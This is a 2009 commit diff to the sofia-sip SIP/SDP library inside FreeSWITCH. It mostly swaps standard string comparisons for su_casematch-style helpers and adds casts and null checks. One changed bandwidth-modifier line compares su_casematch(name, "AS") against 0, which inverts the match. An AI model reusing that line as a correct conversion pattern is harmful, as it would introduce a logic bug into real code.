+    su_casematch(sip->sip_accept->ac_type, outbound_content_type);
 }
 
 /** Answer to the connectivity probe OPTIONS */
@@ -1261,7 +1272,7 @@
   else if (sip_has_feature(sip->sip_unsupported, tag))
     return outbound_feature_unsupported;
   else
-    return level;
+    return (enum outbound_feature)level;
 }
 
 

Deleted: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/test_s2.c

Deleted: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/nua/test_s2.h

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sdp/sdp.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sdp/sdp.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sdp/sdp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -41,6 +41,7 @@
 
 #include <sofia-sip/su_alloc.h>
 #include <sofia-sip/su_types.h>
+#include <sofia-sip/su_string.h>
 
 #include "sofia-sip/sdp.h"
 
@@ -1156,24 +1157,6 @@
 
 /* ---------------------------------------------------------------------- */
 
-/* Compare two string pointers */
-su_inline
-int str0cmp(char const *a, char const *b)
-{
-  if (a == NULL) a = "";
-  if (b == NULL) b = "";
-  return strcmp(a, b);
-}
-
-/* Compare two string pointers ignoring case. */
-su_inline
-int str0casecmp(char const *a, char const *b)
-{
-  if (a == NULL) a = "";
-  if (b == NULL) b = "";
-  return strcasecmp(a, b);
-}
-
 /** Compare two session descriptions
  */
 int sdp_session_cmp(sdp_session_t const *a, sdp_session_t const *b)
@@ -1191,11 +1174,11 @@
     return rv;
   if ((rv = sdp_origin_cmp(a->sdp_origin, b->sdp_origin)))
     return rv;
-  if ((rv = str0cmp(a->sdp_subject, b->sdp_subject)))
+  if ((rv = su_strcmp(a->sdp_subject, b->sdp_subject)))
     return rv;
-  if ((rv = str0cmp(a->sdp_information, b->sdp_information)))
+  if ((rv = su_strcmp(a->sdp_information, b->sdp_information)))
     return rv;
-  if ((rv = str0cmp(a->sdp_uri, b->sdp_uri)))
+  if ((rv = su_strcmp(a->sdp_uri, b->sdp_uri)))
     return rv;
   if ((rv = sdp_list_cmp(a->sdp_emails, b->sdp_emails)))
     return rv;
@@ -1244,9 +1227,9 @@
     return a->o_version < b->o_version ? -1 : 1;
   if (a->o_id != b->o_id)
     return a->o_id < b->o_id ? -1 : 1;
-  if ((rv = strcasecmp(a->o_username, b->o_username)))
+  if ((rv = su_strcasecmp(a->o_username, b->o_username)))
     return rv;
-  if ((rv = strcasecmp(a->o_address->c_address, b->o_address->c_address)))
+  if ((rv = su_strcasecmp(a->o_address->c_address, b->o_address->c_address)))
     return rv;
 
   return 0;
@@ -1380,9 +1363,9 @@
   if (a->k_method != b->k_method)
     return a->k_method < b->k_method ? -1 : 1;
   if (a->k_method == sdp_key_x &&
-      (rv = str0cmp(a->k_method_name, b->k_method_name)))
+      (rv = su_strcmp(a->k_method_name, b->k_method_name)))
     return rv;
-  return str0cmp(a->k_material, b->k_material);
+  return su_strcmp(a->k_material, b->k_material);
 }
 
 /** Compare two attribute (a=) fields */
@@ -1395,9 +1378,9 @@
   if ((a != NULL) != (b != NULL))
     return (a != NULL) < (b != NULL) ? -1 : 1;
 
-  if ((rv = str0cmp(a->a_name, b->a_name)))
+  if ((rv = su_strcmp(a->a_name, b->a_name)))
     return rv;
-  return str0cmp(a->a_value, b->a_value);
+  return su_strcmp(a->a_value, b->a_value);
 }
 
 /** Compare two rtpmap structures. */
@@ -1414,7 +1397,7 @@
     return a->rm_pt < b->rm_pt ? -1 : 1;
 
   /* Case insensitive encoding */
-  if ((rv = str0cmp(a->rm_encoding, b->rm_encoding)))
+  if ((rv = su_strcmp(a->rm_encoding, b->rm_encoding)))
     return rv;
   /* Rate */
   if (a->rm_rate != b->rm_rate)
@@ -1428,13 +1411,13 @@
     if (b->rm_params)
       b_param = b->rm_params;
 
-    rv = strcasecmp(a_param, b_param);
+    rv = su_strcasecmp(a_param, b_param);
 
     if (rv)
       return rv;
   }
 
-  return str0casecmp(a->rm_fmtp, b->rm_fmtp);
+  return su_strcasecmp(a->rm_fmtp, b->rm_fmtp);
 }
 
 /** Compare two lists. */
@@ -1447,7 +1430,7 @@
       return 0;
     if ((a != NULL) != (b != NULL))
       return (a != NULL) < (b != NULL) ? -1 : 1;
-    if ((rv = str0cmp(a->l_text, b->l_text)))
+    if ((rv = su_strcmp(a->l_text, b->l_text)))
       return rv;
   }
 
@@ -1472,7 +1455,7 @@
   if (a->m_type != b->m_type)
     return a->m_type < b->m_type ? -1 : 1;
   if (a->m_type == sdp_media_x)
-    if ((rv = str0cmp(a->m_type_name, b->m_type_name)))
+    if ((rv = su_strcmp(a->m_type_name, b->m_type_name)))
       return rv;
   if (a->m_port != b->m_port)
     return a->m_port < b->m_port ? -1 : 1;
@@ -1487,7 +1470,7 @@
   if (a->m_proto != b->m_proto)
     return a->m_proto < b->m_proto ? -1 : 1;
   if (a->m_proto == sdp_media_x)
-    if ((rv = str0cmp(a->m_proto_name, b->m_proto_name)))
+    if ((rv = su_strcmp(a->m_proto_name, b->m_proto_name)))
       return rv;
 
   if (a->m_mode != b->m_mode)
@@ -1502,7 +1485,7 @@
   if ((rv = sdp_list_cmp(a->m_format, b->m_format)))
     return rv;
 
-  if ((rv = str0cmp(a->m_information, b->m_information)))
+  if ((rv = su_strcmp(a->m_information, b->m_information)))
     return rv;
 
   for (ac = a->m_connections, bc = b->m_connections;
@@ -1548,7 +1531,7 @@
 sdp_attribute_t *sdp_attribute_find(sdp_attribute_t const *a, char const *name)
 {
   for (; a; a = a->a_next) {
-    if (strcasecmp(a->a_name, name) == 0)
+    if (su_casematch(a->a_name, name))
       break;
   }
 
@@ -1561,13 +1544,13 @@
 				     char const *name)
 {
   for (; a; a = a->a_next) {
-    if (strcasecmp(a->a_name, name) == 0)
+    if (su_casematch(a->a_name, name))
       break;
   }
 
   if (a == 0)
     for (a = a2; a; a = a->a_next) {
-      if (strcasecmp(a->a_name, name) == 0)
+      if (su_casematch(a->a_name, name))
 	break;
     }
 
@@ -1578,13 +1561,13 @@
 sdp_mode_t sdp_attribute_mode(sdp_attribute_t const *a, sdp_mode_t defmode)
 {
   for (; a; a = a->a_next) {
-    if (strcasecmp(a->a_name, "sendrecv") == 0)
+    if (su_casematch(a->a_name, "sendrecv"))
       return sdp_sendrecv;
-    if (strcasecmp(a->a_name, "inactive") == 0)
+    if (su_casematch(a->a_name, "inactive"))
       return sdp_inactive;
-    if (strcasecmp(a->a_name, "recvonly") == 0)
+    if (su_casematch(a->a_name, "recvonly"))
       return sdp_recvonly;
-    if (strcasecmp(a->a_name, "sendonly") == 0)
+    if (su_casematch(a->a_name, "sendonly"))
       return sdp_sendonly;
   }
 
@@ -1707,7 +1690,7 @@
   assert(a->a_name != NULL); assert(a->a_next == NULL);
 
   for (; *list; list = &(*list)->a_next) {
-    if (strcasecmp((*list)->a_name, a->a_name) == 0)
+    if (su_casematch((*list)->a_name, a->a_name))
       break;
   }
 
@@ -1740,7 +1723,7 @@
     return NULL;
 
   for (a = *list; a; list = &a->a_next, a = *list) {
-    if (strcasecmp(name, a->a_name) == 0)
+    if (su_casematch(name, a->a_name))
       break;
   }
 
@@ -1769,7 +1752,7 @@
     type_name = "";
 
   if (type != m->m_type ||
-      (type == sdp_media_x && strcasecmp(m->m_type_name, type_name)))
+      (type == sdp_media_x && !su_casematch(m->m_type_name, type_name)))
     return 0;
 
   if (proto == sdp_proto_any || m->m_proto == sdp_proto_any)
@@ -1779,7 +1762,7 @@
     proto_name = "";
 
   if (proto != m->m_proto ||
-      (proto == sdp_proto_x && strcasecmp(m->m_proto_name, proto_name)))
+      (proto == sdp_proto_x && !su_casematch(m->m_proto_name, proto_name)))
     return 0;
 
   return 1;
@@ -1796,16 +1779,16 @@
     return 1;
 
   if (a->m_type != b->m_type ||
-      (a->m_type == sdp_media_x &&
-       strcasecmp(b->m_type_name, a->m_type_name)))
+      (a->m_type == sdp_media_x
+        && !su_casematch(b->m_type_name, a->m_type_name)))
     return 0;
 
   if (a->m_proto == sdp_proto_any || b->m_proto == sdp_proto_any)
     return 1;
 
   if (a->m_proto != b->m_proto ||
-      (a->m_proto == sdp_proto_x &&
-       strcasecmp(b->m_proto_name, a->m_proto_name)))
+      (a->m_proto == sdp_proto_x
+       && !su_casematch(b->m_proto_name, a->m_proto_name)))
     return 0;
 
   return 1;
@@ -1850,7 +1833,7 @@
     (m->m_proto == sdp_proto_rtp ||
      m->m_proto == sdp_proto_srtp ||
      (m->m_proto == sdp_proto_x && m->m_proto_name &&
-      strncasecmp(m->m_proto_name, "RTP/", 4) == 0));
+      su_casenmatch(m->m_proto_name, "RTP/", 4)));
 }
 
 /** Check if payload type, rtp rate and parameters match in rtpmaps*/
@@ -1867,7 +1850,7 @@
   if (a->rm_rate != b->rm_rate)
     return 0;
 
-  if (strcasecmp(a->rm_encoding, b->rm_encoding))
+  if (!su_casematch(a->rm_encoding, b->rm_encoding))
     return 0;
 
   aparam = a->rm_params; bparam = b->rm_params;
@@ -1877,7 +1860,7 @@
 
   if (!aparam) aparam = "1"; if (!bparam) bparam = "1";
 
-  if (strcasecmp(aparam, bparam))
+  if (!su_casematch(aparam, bparam))
     return 0;
 
   return 1;
@@ -1900,7 +1883,7 @@
     if (rm->rm_rate != list->rm_rate)
       continue;
 
-    if (strcasecmp(rm->rm_encoding, list->rm_encoding) != 0)
+    if (!su_casematch(rm->rm_encoding, list->rm_encoding))
       continue;
 
     lparam = rm->rm_params; rparam = list->rm_params;
@@ -1909,7 +1892,7 @@
       break;
 
     if (!lparam) lparam = "1"; if (!rparam) rparam = "1";
-    if (strcasecmp(lparam, rparam))
+    if (!su_casematch(lparam, rparam))
       continue;
 
     break;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sdp/sdp_parse.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sdp/sdp_parse.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sdp/sdp_parse.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -30,11 +30,14 @@
  * @author Kai Vehmanen <kai.vehmanen@nokia.com>
  *
  * @date  Created: Fri Feb 18 10:25:08 2000 ppessi
+ *
+ * @sa @RFC4566, @RFC2327.
  */
 
 #include "config.h"
 
 #include <sofia-sip/su_alloc.h>
+#include <sofia-sip/su_string.h>
 
 #include "sofia-sip/sdp.h"
 
@@ -50,12 +53,13 @@
  *
  * SDP parser handle.
  *
- * The SDP parser handle is returned by sdp_parse(). It contains either
- * successfully parse SDP session #sdp_session_t or an error message.
+ * The SDP parser handle returned by sdp_parse() contains either
+ * a successfully parsed SDP session #sdp_session_t or an error message.
  * If sdp_session() returns non-NULL, parsing was successful.
  *
  * @sa #sdp_session_t, sdp_parse(), sdp_session(), sdp_parsing_error(),
- * sdp_sanity_check(), sdp_parser_home(), sdp_parser_free().
+ * sdp_sanity_check(), sdp_parser_home(), sdp_parser_free(), @RFC4566,
+ * @RFC2327.
  */
 
 struct sdp_parser_s {
@@ -129,6 +133,9 @@
  * Always a valid parser handle.
  *
  * @todo Parser accepts some non-conforming SDP even with #sdp_f_strict.
+ *
+ * @sa sdp_session(), sdp_parsing_error(), sdp_sanity_check(),
+ * sdp_parser_home(), sdp_parser_free(), @RFC4566, @RFC2327.
  */
 sdp_parser_t *
 sdp_parse(su_home_t *home, char const msg[], issize_t msgsize, int flags)
@@ -366,7 +373,7 @@
   /* Require that version comes first */
   record = next(&message, CRLF, strip);
 
-  if (!record || strcmp(record, "v=0")) {
+  if (!su_strmatch(record, "v=0")) {
     if (!p->pr_config || !record || record[1] != '=') {
       parsing_error(p, "bad SDP message");
       return;
@@ -479,14 +486,14 @@
   return
     c &&
     c->c_nettype == sdp_net_in &&
-    ((c->c_addrtype == sdp_addr_ip4 && strcmp(c->c_address, "0.0.0.0")) ||
-     (c->c_addrtype == sdp_addr_ip6 && strcmp(c->c_address, "::")));
+    ((c->c_addrtype == sdp_addr_ip4 && su_strmatch(c->c_address, "0.0.0.0")) ||
+     (c->c_addrtype == sdp_addr_ip6 && su_strmatch(c->c_address, "::")));
 }
 
 /**Postprocess session description.
  *
- * The function post_session() postprocesses the session description. The
- * postprocessing includes setting the session backpointer for each media.
+ * Postprocessing includes setting the session backpointer for each media,
+ * doing sanity checks and setting rejected and mode flags.
  */
 static void post_session(sdp_parser_t *p, sdp_session_t *sdp)
 {
@@ -517,12 +524,9 @@
 
     c = sdp_media_connections(m);
 
-    if (p->pr_mode_0000 && c) {
-      if (c->c_nettype == sdp_net_in &&
-	  c->c_addrtype == sdp_addr_ip4 &&
-	  strcmp(c->c_address, "0.0.0.0") == 0)
-	/* Reset recvonly flag */
-	m->m_mode &= ~sdp_recvonly;
+    if (p->pr_mode_0000 && sdp_connection_is_inaddr_any(c)) {
+      /* Reset recvonly flag */
+      m->m_mode &= ~sdp_recvonly;
     }
   }
 
@@ -815,7 +819,7 @@
 
   *result = c;
 
-  if (strncasecmp(r, "IN", 2) == 0) {
+  if (su_casenmatch(r, "IN", 2)) {
     char *s;
 
     /* nettype is internet */
@@ -824,9 +828,9 @@
 
     /* addrtype */
     s = token(&r, SPACE TAB, NULL, NULL);
-    if (s && strcasecmp(s, "IP4") == 0)
+    if (su_casematch(s, "IP4"))
       c->c_addrtype = sdp_addr_ip4;
-    else if (s && strcasecmp(s, "IP6") == 0)
+    else if (su_casematch(s, "IP6"))
       c->c_addrtype = sdp_addr_ip6;
     else {
       parsing_error(p, "unknown IN address type: %s", s);
@@ -907,9 +911,9 @@
     return;
   }
 
-  if (strcmp(name, "CT") == 0)
+  if (su_casematch(name, "CT"))
     modifier = sdp_bw_ct, name = NULL;
-  else if (strcmp(name, "AS") == 0)
+  else if (su_casematch(name, "AS") == 0)
     modifier = sdp_bw_as, name = NULL;
   else
     modifier = sdp_bw_x;
@@ -993,16 +997,17 @@
   int n, N;
   char *s;
   sdp_repeat_t *r;
+  int strict = STRICT(p);
 
   /** Count number of intervals */
   for (N = 0, s = d; *s; ) {
-    if (!(is_posdigit(*s) || (!STRICT(p) && (*s) == '0')))
+    if (!(is_posdigit(*s) || (!strict && (*s) == '0')))
       break;
     do { s++; } while (is_digit(*s));
-    if (*s && strchr("dhms", *s))
+    if (*s && strchr(strict ? "dhms" : "dhmsDHMS", *s))
       s++;
     N++;
-    if (!(i = STRICT(p) ? is_space(*s) : strspn(s, SPACE TAB)))
+    if (!(i = strict ? is_space(*s) : strspn(s, SPACE TAB)))
       break;
     s += i;
   }
@@ -1024,10 +1029,10 @@
     tt = strtoul(d, &d, 10);
 
     switch (*d) {
-    case 'd': tt *= 24;
-    case 'h': tt *= 60;
-    case 'm': tt *= 60;
-    case 's': d++;
+    case 'd': case 'D': tt *= 24;
+    case 'h': case 'H': tt *= 60;
+    case 'm': case 'M': tt *= 60;
+    case 's': case 'S': d++;
       break;
     }
 
@@ -1152,7 +1157,7 @@
 
     /* These are defined as key-sensitive in RFC 4566 */
 #define MATCH(s, tok) \
-    (STRICT(p) ? strcmp((s), (tok)) == 0 : strcasecmp((s), (tok)) == 0)
+    (STRICT(p) ? su_strmatch((s), (tok)) : su_casematch((s), (tok)))
 
     if (MATCH(s, "clear"))
       k->k_method = sdp_key_clear, k->k_method_name = "clear";
@@ -1208,20 +1213,20 @@
   else
     PARSE_CHECK_REST(p, r, "a");
 
-  if (strcasecmp(name, "charset") == 0) {
+  if (su_casematch(name, "charset")) {
     p->pr_session->sdp_charset = value;
     return;
   }
 
   if (p->pr_mode_manual)
     ;
-  else if (strcasecmp(name, "inactive") == 0)
+  else if (su_casematch(name, "inactive"))
     p->pr_session_mode = sdp_inactive;
-  else if (strcasecmp(name, "sendonly") == 0)
+  else if (su_casematch(name, "sendonly"))
     p->pr_session_mode = sdp_sendonly;
-  else if (strcasecmp(name, "recvonly") == 0)
+  else if (su_casematch(name, "recvonly"))
     p->pr_session_mode = sdp_recvonly;
-  else if (strcasecmp(name, "sendrecv") == 0)
+  else if (su_casematch(name, "sendrecv"))
     p->pr_session_mode = sdp_sendrecv;
 
   {
@@ -1317,7 +1322,7 @@
     return;
   }
 
-  if (!STRICT(p) && strcasecmp(s, "RTP") == 0)
+  if (!STRICT(p) && su_casematch(s, "RTP"))
     m->m_proto = sdp_proto_rtp, m->m_proto_name = "RTP/AVP";
   else
     sdp_media_transport(m, s);
@@ -1344,44 +1349,51 @@
 /** Set media type */
 void sdp_media_type(sdp_media_t *m, char const *s)
 {
-  if (strcmp(s, "*") == 0)
+  if (su_strmatch(s, "*"))
     m->m_type = sdp_media_any, m->m_type_name = "*";
-  else if (strcasecmp(s, "audio") == 0)
+  else if (su_casematch(s, "audio"))
     m->m_type = sdp_media_audio, m->m_type_name = "audio";
-  else if (strcasecmp(s, "video") == 0)
+  else if (su_casematch(s, "video"))
     m->m_type = sdp_media_video, m->m_type_name = "video";
-  else if (strcasecmp(s, "application") == 0)
+  else if (su_casematch(s, "application"))
     m->m_type = sdp_media_application, m->m_type_name = "application";
-  else if (strcasecmp(s, "data") == 0)
+  else if (su_casematch(s, "data"))
     m->m_type = sdp_media_data, m->m_type_name = "data";
-  else if (strcasecmp(s, "control") == 0)
+  else if (su_casematch(s, "control"))
     m->m_type = sdp_media_control, m->m_type_name = "control";
-  else if (strcasecmp(s, "message") == 0)
+  else if (su_casematch(s, "message"))
     m->m_type = sdp_media_message, m->m_type_name = "message";
-  else if (strcasecmp(s, "image") == 0)
+  else if (su_casematch(s, "image"))
     m->m_type = sdp_media_image, m->m_type_name = "image";
-  else if (strcasecmp(s, "red") == 0)
+  else if (su_casematch(s, "red"))
     m->m_type = sdp_media_red, m->m_type_name = "red";
   else
     m->m_type = sdp_media_x, m->m_type_name = s;
 }
 
+/** Set transport protocol.
+ *
+ * Set the @m->m_proto to a well-known protocol type as
+ * well as canonize case of @a m_proto_name.
+ */
 void sdp_media_transport(sdp_media_t *m, char const *s)
 {
-  if (strcasecmp(s, "*") == 0)
+  if (m == NULL || s == NULL)
+    ;
+  else if (su_strmatch(s, "*"))
     m->m_proto = sdp_proto_any, m->m_proto_name = "*";
-  else if (strcasecmp(s, "RTP/AVP") == 0)
+  else if (su_casematch(s, "RTP/AVP"))
     m->m_proto = sdp_proto_rtp, m->m_proto_name = "RTP/AVP";
-  else if (strcasecmp(s, "RTP/SAVP") == 0)
+  else if (su_casematch(s, "RTP/SAVP"))
     m->m_proto = sdp_proto_srtp, m->m_proto_name = "RTP/SAVP";
-  else if (strcasecmp(s, "udptl") == 0)
+  else if (su_casematch(s, "udptl"))
     /* Lower case - be compatible with people living by T.38 examples */
     m->m_proto = sdp_proto_udptl, m->m_proto_name = "udptl";
-  else if (strcasecmp(s, "UDP") == 0)
+  else if (su_casematch(s, "UDP"))
     m->m_proto = sdp_proto_udp, m->m_proto_name = "UDP";
-  else if (strcasecmp(s, "TCP") == 0)
+  else if (su_casematch(s, "TCP"))
     m->m_proto = sdp_proto_tcp, m->m_proto_name = "TCP";
-  else if (strcasecmp(s, "TLS") == 0)
+  else if (su_casematch(s, "TLS"))
     m->m_proto = sdp_proto_tls, m->m_proto_name = "TLS";
   else
     m->m_proto = sdp_proto_x, m->m_proto_name = s;
@@ -1566,28 +1578,28 @@
 
   if (p->pr_mode_manual)
     ;
-  else if (strcasecmp(name, "inactive") == 0) {
+  else if (su_casematch(name, "inactive")) {
     m->m_mode = sdp_inactive;
     return;
   }
-  else if (strcasecmp(name, "sendonly") == 0) {
+  else if (su_casematch(name, "sendonly")) {
     m->m_mode = sdp_sendonly;
     return;
   }
-  else if (strcasecmp(name, "recvonly") == 0) {
+  else if (su_casematch(name, "recvonly")) {
     m->m_mode = sdp_recvonly;
     return;
   }
-  else if (strcasecmp(name, "sendrecv") == 0) {
+  else if (su_casematch(name, "sendrecv")) {
     m->m_mode = sdp_sendrecv;
     return;
   }
 
-  if (rtp && strcasecmp(name, "rtpmap") == 0) {
+  if (rtp && su_casematch(name, "rtpmap")) {
     if ((n = parse_rtpmap(p, r, m)) == 0 || n < -1)
       return;
   }
-  else if (rtp && strcasecmp(name, "fmtp") == 0) {
+  else if (rtp && su_casematch(name, "fmtp")) {
     if ((n = parse_fmtp(p, r, m)) == 0 || n < -1)
       return;
   }

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sdp/sdp_print.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sdp/sdp_print.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sdp/sdp_print.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -34,6 +34,7 @@
 #include "config.h"
 
 #include <sofia-sip/su_alloc.h>
+#include <sofia-sip/su_string.h>
 
 #include "sofia-sip/sdp.h"
 
@@ -87,6 +88,7 @@
 };
 
 static void print_session(sdp_printer_t *p, sdp_session_t const *session);
+static void printing_error(sdp_printer_t *p, const char *fmt, ...);
 
 /** Print a SDP description.
  *
@@ -153,7 +155,10 @@
     p->pr_mode_manual = (flags & sdp_f_mode_manual) != 0;
     p->pr_mode_always = (flags & sdp_f_mode_always) != 0;
 
-    print_session(p, session);
+    if (session)
+      print_session(p, session);
+    else
+      printing_error(p, "NULL session description");
 
     return p;
   }
@@ -260,14 +265,11 @@
 			    const char *, sdp_list_t const *l);
 
 static void sdp_printf(sdp_printer_t *p, const char *fmt, ...);
-static void printing_error(sdp_printer_t *p, const char *fmt, ...);
 
 static void print_session(sdp_printer_t *p, sdp_session_t const *sdp)
 {
   p->pr_ok = 1;
 
-  if (!sdp)
-    printing_error(p, "NULL session description");
   if (p->pr_ok && sdp->sdp_version)
     print_version(p, sdp->sdp_version);
   if (p->pr_ok && sdp->sdp_origin)
@@ -544,10 +546,10 @@
     char const *name = a->a_name;
     char const *value = a->a_value;
 
-    if (strcasecmp(name, "inactive") == 0 ||
-	strcasecmp(name, "sendonly") == 0 ||
-	strcasecmp(name, "recvonly") == 0 ||
-	strcasecmp(name, "sendrecv") == 0)
+    if (su_casematch(name, "inactive") ||
+	su_casematch(name, "sendonly") ||
+	su_casematch(name, "recvonly") ||
+	su_casematch(name, "sendrecv"))
       continue;
 
     sdp_printf(p, "a=%s%s%s" CRLF, name, value ? ":" : "", value ? value : "");

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sdp/torture_sdp.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sdp/torture_sdp.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sdp/torture_sdp.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -42,6 +42,7 @@
 #include <stdlib.h>
 
 #include <sofia-sip/su_types.h>
+#include <sofia-sip/su_string.h>
 
 #include <sofia-sip/sdp.h>
 
@@ -913,9 +914,9 @@
   int i;
 
   for (i = 1; argv[i]; i++) {
-    if (strcmp(argv[i], "-v") == 0)
+    if (su_strmatch(argv[i], "-v"))
       tstflags |= tst_verbatim;
-    else if (strcmp(argv[i], "-a") == 0)
+    else if (su_strmatch(argv[i], "-a"))
       tstflags |= tst_abort;
     else
       usage(1);

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_basic.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_basic.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_basic.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -41,7 +41,7 @@
 #define MSG_HDR_T       union sip_header_u
 
 #include <sofia-sip/su_alloc.h>
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 
 #include "sofia-sip/sip_parser.h"
 #include <sofia-sip/sip_util.h>
@@ -940,7 +940,7 @@
   if (name == NULL) {
     a->a_tag = NULL;
   }
-  else if (namelen == strlen("tag") && !strncasecmp(name, "tag", namelen)) {
+  else if (namelen == strlen("tag") && su_casenmatch(name, "tag", namelen)) {
     a->a_tag = value;
   }
 
@@ -983,7 +983,7 @@
       value = tag;
 
     if (a->a_tag) {
-      if (strcasecmp(a->a_tag, value) == 0)
+      if (su_casematch(a->a_tag, value))
 	return 0;
       else
 	return -1;
@@ -1287,7 +1287,7 @@
   sip_cseq_t *cs;
 
   if (method)
-    method_name = sip_method_name(method, method_name);
+    method_name = sip_method_name((sip_method_t)method, method_name);
 
   if (method_name == NULL)
     return NULL;
@@ -1298,7 +1298,7 @@
 
   if (cs) {
     cs->cs_seq = seq;
-    cs->cs_method = method;
+    cs->cs_method = (sip_method_t)method;
     if (!method)
       method_name = strcpy((char *)(cs + 1), method_name);
     cs->cs_method_name = method_name;
@@ -1456,12 +1456,12 @@
     m->m_q = NULL;
     m->m_expires = NULL;
   }
-  else if (namelen == 1 && strncasecmp(name, "q", 1) == 0) {
+  else if (namelen == 1 && su_casenmatch(name, "q", 1)) {
     /* XXX - check for invalid value? */
     m->m_q = value;
   }
   else if (namelen == strlen("expires") &&
-	   !strncasecmp(name, "expires", namelen)) {
+	   su_casenmatch(name, "expires", namelen)) {
     m->m_expires = value;
   }
 
@@ -2086,7 +2086,7 @@
     af->af_duration = NULL;
   }
   else if (namelen == strlen("duration") &&
-	   !strncasecmp(name, "duration", namelen)) {
+	   su_casenmatch(name, "duration", namelen)) {
     af->af_duration = value;
   }
 
@@ -2635,7 +2635,7 @@
     v->v_rport = NULL;
     v->v_comp = NULL;
   }
-#define MATCH(s) (namelen == strlen(#s) && !strncasecmp(name, #s, strlen(#s)))
+#define MATCH(s) (namelen == strlen(#s) && su_casenmatch(name, #s, strlen(#s)))
 
    else if (MATCH(ttl)) {
      v->v_ttl = value;
@@ -2761,7 +2761,7 @@
 
     if (v->v_rport && !v->v_maddr /* multicast */) {
       if (v->v_protocol == sip_transport_udp ||
-	  strcasecmp(v->v_protocol, sip_transport_udp) == 0)
+	  su_casematch(v->v_protocol, sip_transport_udp))
 	port = v->v_rport, *using_rport = 0;
       else if (*using_rport)
 	port = v->v_rport;

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_caller_prefs.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_caller_prefs.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_caller_prefs.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -205,7 +205,7 @@
     *s = '\0', s += span_lws(s + 1) + 1;
 
   /* Kludge: support PoC IS spec with a typo... */
-  if (strncasecmp(s, "*,", 2) == 0)
+  if (su_casenmatch(s, "*,", 2))
     s[1] = ';',  kludge = 0;
   else if (s[0] != '*' && s[0] != '<') {
     /* Kludge: missing URL -  */
@@ -346,7 +346,7 @@
     cp->cp_require = 0;
     cp->cp_explicit = 0;
   }
-#define MATCH(s) (namelen == strlen(#s) && !strncasecmp(name, #s, strlen(#s)))
+#define MATCH(s) (namelen == strlen(#s) && su_casenmatch(name, #s, strlen(#s)))
 
 #if nomore
   else if (MATCH(q)) {

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_event.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_event.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_event.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -159,7 +159,7 @@
   if (name == NULL) {
     o->o_id = NULL;
   }
-  else if (namelen == strlen("id") && !strncasecmp(name, "id", namelen)) {
+  else if (namelen == strlen("id") && su_casenmatch(name, "id", namelen)) {
     o->o_id = value;
   }
 
@@ -373,7 +373,7 @@
     ss->ss_retry_after = NULL;
     ss->ss_expires = NULL;
   }
-#define MATCH(s) (namelen == strlen(#s) && !strncasecmp(name, #s, strlen(#s)))
+#define MATCH(s) (namelen == strlen(#s) && su_casenmatch(name, #s, strlen(#s)))
 
   else if (MATCH(reason)) {
     ss->ss_reason = value;
@@ -498,9 +498,9 @@
 
   if (pub->pub_params)
     for (i = 0; pub->pub_params[i]; i++) {
-      if (strncasecmp(pub->pub_params[i], "stream=", strlen("stream=")) == 0)
+      if (su_casenmatch(pub->pub_params[i], "stream=", strlen("stream=")))
 	pub->pub_stream = pub->pub_params[i] + strlen("stream=");
-      else if (strncasecmp(pub->pub_params[i], "type=", strlen("type=")) == 0)
+      else if (su_casenmatch(pub->pub_params[i], "type=", strlen("type=")))
 	pub->pub_type = pub->pub_params[i] + strlen("type=");
     }
 }

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_extra.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_extra.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/sip/sip_extra.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -132,10 +132,10 @@
  * Update parameter in a @CallInfo object.
  *
  */
-static
-int sip_call_info_update(msg_common_t *h,
-			  char const *name, isize_t namelen,
-			  char const *value)
+static int
+sip_call_info_update(msg_common_t *h,
+		     char const *name, isize_t namelen,
+		     char const *value)
 {
   sip_call_info_t *ci = (sip_call_info_t *)h;
 
@@ -143,7 +143,7 @@
     ci->ci_purpose = NULL;
   }
